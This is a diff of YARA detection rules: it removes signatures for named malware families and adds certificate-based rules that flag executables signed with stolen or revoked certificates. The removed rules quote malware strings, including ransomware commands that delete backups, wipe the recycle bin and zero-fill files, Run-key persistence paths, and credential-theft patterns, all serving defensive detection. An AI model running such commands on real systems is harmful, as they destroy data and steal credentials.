-rule DITEKSHEN_MALWARE_Win_Warezov : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6B6739E55F3F25B147C4A6767De41F57 : FILE
 {
 	meta:
-		description = "Detects Warezov worm/downloader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8cb1dcb1-981d-5ff2-b0d9-aa18dfbfc795"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ee84787b-cc90-545d-8e15-bf84676f222c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4255-L4269"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5379-L5391"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e65922902fd18175a3ce7b600d46535e92b92240fa3ca83dced6f9ce14f3e815"
+		hash = "da0921c1e416b3734272dfa619f88c8cd32e9816cdcbeeb81d9e2b2e8a95af4c"
+		logic_hash = "9d1a20f3dfa6c31ed557e531f7a57c64032e518c033993234849882ef769fcbd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ft\\Windows\\CurrentVersion\\Run" wide
-		$s2 = "DIR%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
-		$s3 = "%WINDIR%\\sqhos32.wmf" wide
-		$s4 = "Accept: */*" fullword ascii
-		$s5 = "Range: bytes=" fullword ascii
-		$s6 = "module.exe" fullword ascii
-		$s7 = { 25 73 25 73 2e 25 73 ?? ?? 22 22 26 6c 79 79 56 00 00 00 00 25 73 25 30 34 64 25 30 32 64 25 30 32 64 00 }
+		thumbprint = "07a09d3d3c05918519d6f357fe7eed5e1d529f22"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Avast Antivirus SEC" and pe.signatures[i].serial=="6b:67:39:e5:5f:3f:25:b1:47:c4:a6:76:7d:e4:1f:57")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Arechclient2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B97F66Bb221772Dc07Ef1D4Bed8F6085 : FILE
 {
 	meta:
-		description = "Detects Arechclient2 RAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c12858ea-5e06-5303-9df0-0f59ba83b5e5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c0797751-d03c-59c7-a02a-27e6f466bd96"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4271-L4303"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5393-L5404"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0d841f4d4664fb09801c51f7b65e897e4e698753ad67fc20e2b81d98c0b3d07d"
+		logic_hash = "e68f6ebbeadc9381c2888abf77e040f27648a40d770524830f8a49fe2d11534f"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\Google\\Chrome\\User Data\\copiedProf\"" wide
-		$s2 = "\",\"BotName\":\"" wide
-		$s3 = "\",\"BotOS\":\"" wide
-		$s4 = "\",\"URLData\":\"" wide
-		$s5 = "{\"Type\":\"ConnectionType\",\"ConnectionType\":\"Client\",\"SessionID\":\"" wide
-		$s6 = "{\"Type\":\"TestURLDump\",\"SessionID\":\"" wide
-		$s7 = "<ReceiveParticipantList>" ascii
-		$s8 = "<potocSkr>" ascii
-		$s9 = "fuck_sd" fullword ascii
-		$s10 = "HandleBotKiller" fullword ascii
-		$s11 = "RunBotKiller" fullword ascii
-		$s12 = "ConnectToServer" fullword ascii
-		$s13 = "KillBrowsers" fullword ascii
-		$s14 = "keybd_event" fullword ascii
-		$s15 = "FuckCodeImg" fullword ascii
-		$v1_1 = "grabber@" fullword ascii
-		$v1_2 = "<BrowserProfile>k__" ascii
-		$v1_3 = "<SystemHardwares>k__" ascii
-		$v1_4 = "<geoplugin_request>k__" ascii
-		$v1_5 = "<ScannedWallets>k__" ascii
-		$v1_6 = "<DicrFiles>k__" ascii
-		$v1_7 = "<MessageClientFiles>k__" ascii
-		$v1_8 = /<Scan(Browsers|Wallets|Screen|VPN)>k__BackingField/ fullword ascii
-		$v1_9 = "displayName[AString-ZaString-z\\d]{2String4}\\.[String\\w-]{String6}\\.[\\wString-]{2String7}Local Extension Settingshost" wide
-		$v1_10 = "\\sitemanager.xml MB or SELECT * FROM Cookiesconfig" wide
+		thumbprint = "fb4efb3bfcef8e9a667c8657f2e3c8fb7436666e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) or 7 of ($v1*) or (6 of ($v1*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "S-PRO d.o.o." and pe.signatures[i].serial=="00:b9:7f:66:bb:22:17:72:dc:07:ef:1d:4b:ed:8f:60:85")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Killmbr : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Cc95D6Ebf18A3711E196Aea210465A19 : FILE
 {
 	meta:
-		description = "Detects KillMBR"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b109865f-e268-5633-bb8e-f390dd050d99"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "bd6957ac-d5e0-5e77-87b3-a62c442f7f72"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4305-L4316"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5406-L5417"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1ed9206f90052df7e533be4612afa373e5e69fba8f5b5ae4df1c09a9d98958cf"
+		logic_hash = "640ba6d64ad7e0791ef29d3ee9387e0944826f22f01a6a01486f6b3ac4138826"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\\\.\\PhysicalDrive" ascii
-		$s2 = "/logger.php" ascii
-		$s3 = "Ooops! Your MBR was been rewritten" ascii
-		$s4 = "No, this ransomware dont encrypt your files, erases it" ascii
+		thumbprint = "319f0e03f0f230629258c7ea05e7d56ead830ce9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of them and #s1>10)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GEN Sistemi, d.o.o." and pe.signatures[i].serial=="00:cc:95:d6:eb:f1:8a:37:11:e1:96:ae:a2:10:46:5a:19")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Lcpdot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Dde89C647Dc2138244228040E324Dc77 : FILE
 {
 	meta:
-		description = "Detects LCPDot"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e4db3784-7fb0-58bd-997e-788f409445cd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5008d334-964a-516b-895e-761ae94e5bd4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4318-L4337"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5419-L5430"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b0f77f17976c38a69c2ff0d84002f2db29a4d25873309259519115b5f2b210ff"
+		logic_hash = "d6c11a277f855ad8a4b235e1461ad024c4490d04530b91ecb47c8fcf8dee1239"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword wide
-		$s2 = "Cookie: SESSID=%s" fullword ascii
-		$s3 = "Cookie=Enable" fullword ascii
-		$s4 = "Cookie=Enable&CookieV=%d&Cookie_Time=32" fullword ascii
-		$s5 = ".?AVTShellCodeRuner@@" fullword ascii
-		$s6 = ".?AVTHashEncDecoder@@" fullword ascii
-		$s7 = ".?AVTWebAddressList@@" fullword ascii
-		$s8 = "WinMain.dll" fullword ascii
-		$s9 = "HotPlugin" wide
-		$o0 = { 4c 89 6c 24 08 4c 89 34 24 44 8d 77 01 44 8d 6f }
-		$o1 = { 8b f0 e8 58 34 00 00 48 8b f8 48 85 c0 74 0c 48 }
-		$o2 = { c7 44 24 30 47 49 46 38 c7 44 24 34 39 61 27 00 }
+		thumbprint = "1d9aaa1bc7d6fc5a76295dd1cf692fe4a1283f04"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of ($s*) or ( all of ($o*) and 3 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "WMade by H5et.com" and pe.signatures[i].serial=="dd:e8:9c:64:7d:c2:13:82:44:22:80:40:e3:24:dc:77")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Torisma : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Fed006Fbf85Cd1C6Ba6B4345B198E1E6 : FILE
 {
 	meta:
-		description = "Detects Torisma"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e62a0f1c-4404-5da1-9c43-4cb58e735827"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8f7d0337-7840-5c6e-b562-dbaef1a7c022"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4339-L4355"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5432-L5443"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bd3823f8a91fdfc443e20bcb299a5103b7176a694f0d5328e7986de83f677a31"
+		logic_hash = "26690cb1ef7eb9b7009376b4c2a30505f01184f4462478f65379372e84e02bc8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ACTION=PREVPAGE&CODE=C%s&RES=%d" fullword ascii
-		$s2 = "ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d" fullword ascii
-		$s3 = "ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d" fullword ascii
-		$s4 = "Your request has been accepted. ClientID: {" ascii
-		$s5 = "Proxy-Connection: Keep-Alive" fullword wide
-		$s6 = "Content-Length: %d" fullword wide
-		$o0 = { f7 f9 8b c2 89 44 24 34 48 63 44 24 34 48 8b 4c }
-		$o1 = { 48 c7 00 ff ff ff ff 48 8b 84 24 90 }
-		$o2 = { f3 aa 83 7c 24 30 01 75 34 c7 44 24 20 01 }
+		thumbprint = "4bc67aca336287ff574978ef3bf67c688f6449f2"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of ($s*) or ( all of ($o*) and 3 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LoL d.o.o." and pe.signatures[i].serial=="00:fe:d0:06:fb:f8:5c:d1:c6:ba:6b:43:45:b1:98:e1:e6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Thanos : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4E7545C9Fc5938F5198Ab9F1749Ca31C : FILE
 {
 	meta:
-		description = "Detects Thanos / Prometheus / Spook ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f523906e-ef5e-57be-82ed-06e75c393f42"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "af27fbf7-f4e2-59e9-8b2b-b353704ce9d6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4357-L4389"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5445-L5456"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8ce7cdfe4bca31e21d6fa31a75c46737a41fae3b5b0fda818e3a4709ceaf9bf5"
+		logic_hash = "4b7bc07622ad3f7ec77f4bb0d51350c82734af4b73a26ecd21955e55e99bb515"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$f1 = "<WorkerCrypter2>b__" ascii
-		$f2 = "<Encrypt2>b__" ascii
-		$f3 = "<Killproc>b__" ascii
-		$f4 = "<GetIPInfo>b__" ascii
-		$f5 = "<MacAddress>k__" ascii
-		$f6 = "<IPAddress>k__" ascii
-		$f7 = "<Crypt>b__" ascii
-		$s1 = "Aditional KeyId:" wide
-		$s2 = "process call create cmd.exe /c \\\\" wide
-		$s3 = "/c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin" wide
-		$s4 = "\\HOW_TO_DECYPHER_FILES." wide
-		$s5 = "Client Unique Identifier Key:" wide
-		$s6 = "/s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" fullword wide
-		$s7 = "NtOpenProcess" fullword wide
-		$s8 = "Builder_Log" fullword wide
-		$s9 = "> Nul & fsutil file setZeroData offset=0 length=" wide
-		$s10 = "3747bdbf-0ef0-42d8-9234-70d68801f407" wide
-		$s11 = "4b195894-0f06-4fdd-afb4-b17fb9246a59" wide
-		$s12 = "cec564ff-2433-4771-b918-15f58ef6e26c" wide
-		$s13 = "56258a19-7489-468b-86ee-e7899203d67c" wide
-		$s14 = "WalkDirectoryTree" fullword ascii
-		$s15 = "hashtableLock" fullword ascii
-		$s16 = "get_ParentFrn" fullword ascii
-		$m1 = "SW5mb3JtYXRpb24uLi" wide
-		$m2 = "QWxsIHlvdXIgZmlsZXMgd2VyZSBlbmNyeXB0" wide
+		thumbprint = "7a49677c535a13d0a9b6deb539d084ff431a5b54"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($f*) or 5 of ($s*) or (4 of ($f*) and 2 of ($s*) or ( all of ($m*) and 3 of them )) or 8 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "For M d.o.o." and pe.signatures[i].serial=="4e:75:45:c9:fc:59:38:f5:19:8a:b9:f1:74:9c:a3:1c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Tmanager : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_040F11F124A73Bdecc41259845A8A773 : FILE
 {
 	meta:
-		description = "Detects TManager RAT. Associated with TA428"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "391b72bd-ddf5-5251-b566-c75c1cc16b74"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0502773a-356e-5eae-9c37-e1ef89de3547"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4391-L4410"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5458-L5469"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cdbcc00ae67c9161f6db89cfa658c8bc8fb7fab3915ac5ae99bdd34c42ee2abb"
+		logic_hash = "70edbe8be481ccb7b5c6a6485c2ac249ec5120a4cde18d551954cfeaae121f27"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "WSAStartup Error!" fullword wide
-		$s2 = "KB3112342.LOG" fullword wide
-		$s3 = "\\cmd.exe -c" fullword wide
-		$s4 = "sock_hmutex" fullword wide
-		$s5 = "cmd_hmutex" fullword wide
-		$s6 = "powershell" fullword wide
-		$s7 = "%s_%d.bmp" fullword wide
-		$s8 = "!Error!" fullword wide
-		$s9 = "[Execute]" fullword ascii
-		$s10 = "[Snapshot]" fullword ascii
-		$s11 = "GetLanIP error!" fullword ascii
-		$s12 = "chcp & exit" fullword ascii
+		thumbprint = "6f332f7e78cac4a6c35209fde248ef317f7a23e8"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TrustPort" and pe.signatures[i].serial=="04:0f:11:f1:24:a7:3b:de:cc:41:25:98:45:a8:a7:73")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Sn0Wlogger : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1B1E87E90519D7273C0033Bf489B798F : FILE
 {
 	meta:
-		description = "Detects Sn0w Logger"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cdb70164-3f72-553f-a6c5-190f699e0743"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b154ae08-108c-5980-a611-5e086877af2a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4412-L4428"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5471-L5483"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ea4b2281f906271dc249b5036b22eadfc5add94def4f8e4f8a40c384618465d8"
+		hash = "84cef0aed269e6213bfa213d95a3db625bcdde130f33bf4227436985e4473252"
+		logic_hash = "b47f80ecc895e73d69c60a5e88d6a6c95fcb9bddb30f14a1421b68aabc2290c9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\SnowP\\Example\\Secured\\" ascii
-		$s2 = "{0}{3}Content-Type: {4}{3}Content-Disposition: form-data; name=\"{1}\"{3}{3}{2}{3}" wide
-		$s3 = "\"encrypted_key\":\"(.*?)\"" fullword wide
-		$s4 = "<SendToDiscord>d__" ascii
-		$s5 = "_urlWebhook" ascii
-		$r1 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}" fullword wide
-		$r2 = "^\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$" fullword wide
-		$r3 = "mfa\\.[\\w-]{84}" fullword wide
-		$r4 = "(\\w+)=(\\d+)-(\\d+)$" fullword wide
+		thumbprint = "ef09824554f85603c9ffb1cecbfe06ae489a9583"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or ( all of ($r*) and 2 of ($s*)) or 7 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "IBIS, OOO" and pe.signatures[i].serial=="1b:1e:87:e9:05:19:d7:27:3c:00:33:bf:48:9b:79:8f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Danabot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D9E834182Dec62C654E775E809Ac1D1B : FILE
 {
 	meta:
-		description = "Detects DanaBot variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a49e21b9-d40a-5273-a9a2-322a1ec9bbbc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ce1640b7-6631-5e8f-a2df-0716b2f86b99"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4430-L4459"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5485-L5497"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8d037b46d719159dc3e60f0c7143022ce8745cfd753c3754ae80a220a838567d"
+		hash = "645dbb6df97018fafb4285dc18ea374c721c86349cb75494c7d63d6a6afc27e6"
+		logic_hash = "3e7ca9aec19f118c7a143826838244f3f8d0a603a44980522f5227a9c3a82a88"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ms ie ftp passwords" fullword wide
-		$s2 = "CookieEntryEx_" fullword wide
-		$s3 = "winmgmts:\\\\localhost\\root\\cimv2" fullword wide
-		$s4 = "S-Password.txt" fullword wide
-		$s5 = "del_ini://Main|Password|" fullword wide
-		$s6 = "cmd.exe /c start chrome.exe --no-sandbox" wide
-		$s7 = "cmd.exe /c start firefox.exe -no-remote" wide
-		$s8 = "\\rundll32.exe shell32.dll,#" wide
-		$s9 = "S_Error:TORConnect" wide
-		$s10 = "InjectionProcess" fullword ascii
-		$s11 = "proxylogin" fullword wide
-		$s12 = "\\FS_Morff\\FS_Temp\\" wide
-		$ds1 = "C:\\Windows\\System32\\rundll32.exe" fullword wide
-		$ds2 = "PExtended4" fullword ascii
-		$ds3 = "%s-%s" fullword wide
-		$ds4 = "00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF0123456789ABCDEF" fullword wide
+		thumbprint = "5bb983693823dbefa292c86d93b92a49ec6f9b26"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($s*) or all of ($ds*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FoodLehto Oy" and pe.signatures[i].serial=="00:d9:e8:34:18:2d:ec:62:c6:54:e7:75:e8:09:ac:1d:1b")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Klackring : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Ced87Bd70B092Cb93B182Fac32655F6 : FILE
 {
 	meta:
-		description = "Detects Klackring variants. Associated with ZINC / Lazarus"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7bd9a68f-d58b-5437-a28b-5a7f1a11038e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5e716e70-0c78-5194-9134-0ee140221610"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4461-L4475"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5499-L5511"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b894e89de720affadd80966d726a44ffce75d71095b0530edb6bfddb76660c54"
+		hash = "083d5efb4da09432a206cb7fba5cef2c82dd6cc080015fe69c2b36e71bca6c89"
+		logic_hash = "3d4d84a60095e608fbd774f2b3a0f86e32dd9fe25801da06ee10188425a029e0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%s\\%s.dll" fullword wide
-		$s2 = "cmd.exe /c move /Y %s %s" fullword wide
-		$s3 = "%s\\win32k.sys" fullword wide
-		$s4 = "NetSvcInst_Rundll32.dll" fullword ascii
-		$s5 = "Spectrum.dll" fullword ascii wide
-		$s6 = "%s\\cmd.exe" fullword wide
-		$s7 = ".?AVA5Stream@@" fullword ascii
+		thumbprint = "97b7602ed71480756cf6e4658a107f8278a48096"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Creator Soft Limited" and pe.signatures[i].serial=="0c:ed:87:bd:70:b0:92:cb:93:b1:82:fa:c3:26:55:f6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Comebacker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1Afd1491D52F89Ba41Fa6C0281Bb9716 : FILE
 {
 	meta:
-		description = "Detects ComeBacker variants. Associated with ZINC / Lazarus"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d0454d09-4a15-5251-aa7a-cb00604715ca"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a0e5569f-7895-519b-9c1b-9cea3126391f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4477-L4492"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5513-L5524"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0d806fd199f0e8e3576ca837781c2fa06f1a09d75ea16602effb72754d8e4940"
+		logic_hash = "071895cc37527aa634410dc79bf1656068e4c2b9f61d24912160c5f847e154f9"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ENGINE_get_RAND" ascii
-		$s2 = "./{IES" fullword ascii
-		$s3 = "TODO: <Company name>" fullword wide
-		$s4 = "@Microsoft Corperation. All rights reserved." fullword wide
-		$s5 = "Microsoft@Windows@Operating System" fullword wide
-		$x1 = "C:\\Windows\\System32\\rundll32.exe %s,%s %s %s" fullword ascii wide
-		$x2 = "ASN2_TYPE_new" fullword ascii wide
-		$x3 = "SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\" fullword ascii wide
+		thumbprint = "e4362228dd69c25c1d4ba528549fa00845a8dc24"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or all of ($x*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TestCert" and pe.signatures[i].serial=="1a:fd:14:91:d5:2f:89:ba:41:fa:6c:02:81:bb:97:16")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Suncrypt : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_719Ac44966D05762Ef95245Eefcf3046 : FILE
 {
 	meta:
-		description = "Detects SunCrypt ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1a28fcbf-1fc0-5f18-ae71-2e813ed0f958"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e215971c-67f0-5fdb-9525-7aef2559674f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4494-L4532"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5526-L5537"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "abde9bbf2577304ff059972a38e803ba17de7a1f0346efe880a710f2ad79db37"
